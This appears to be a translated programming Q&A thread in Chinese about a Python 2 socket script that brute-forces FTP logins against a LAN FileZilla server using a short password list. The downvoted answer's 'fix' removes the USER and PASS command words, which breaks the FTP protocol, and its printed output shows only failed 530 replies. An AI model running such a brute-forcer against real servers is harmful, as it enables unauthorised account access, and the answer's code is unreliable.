我正在使用python制作FTP暴力程序,我在发送密码时遇到问题。 s.send正确发送用户名,但随后失败并且不发送它退出的密码。我需要它输入帐户的用户名,然后输入密码,然后检查代码尝试是= 230.我在linux上运行python,而不是python3并在filezilla上运行我的文件ftp服务器,我可以连接到服务器使用我的机器。
import socket
import re
import sys
def connect(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Trying to" + username + ":" + password
s.connect(('192.168.2.237', 21))
data = s.recv(1024)
s.send('USER ' + username + '\r\n')
data = s.recv(1024)
s.send('PASS ' + password + '\r\n')
data = s.recv (3)
s.send('QUIT\r\n')
s.close()
return data
username = "admin"
passwords =["none", "test", "none"]
for password in passwords:
attempt = connect(username, password)
if attempt=="230":
print "Password found: " + password
sys.exit(0)
答案 0 :(得分:-1)
有可用于FTP的库,您可以轻松使用它们。如果您仍想通过套接字模块实现它,请尝试以下操作。您没有正确传递用户名和密码
import socket
import re
import sys
def connect(username, password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Trying to " + username + ":" + password
s.connect(('10.2.16.15', 21))
data = s.recv(1024)
s.send(username + '\r\n')
data = s.recv(1024)
s.send( password + '\r\n')
data = s.recv (3)
print data
s.send('QUIT\r\n')
s.close()
return data
username = "root"
passwords =["lade", "whopee", "oho"]
for password in passwords:
attempt = connect(username, password)
if attempt=="230":
print "Password found: " + password
sys.exit(0)
输出
Trying to root:lade
530
Trying to root:whopee
530
Trying to root:oho
530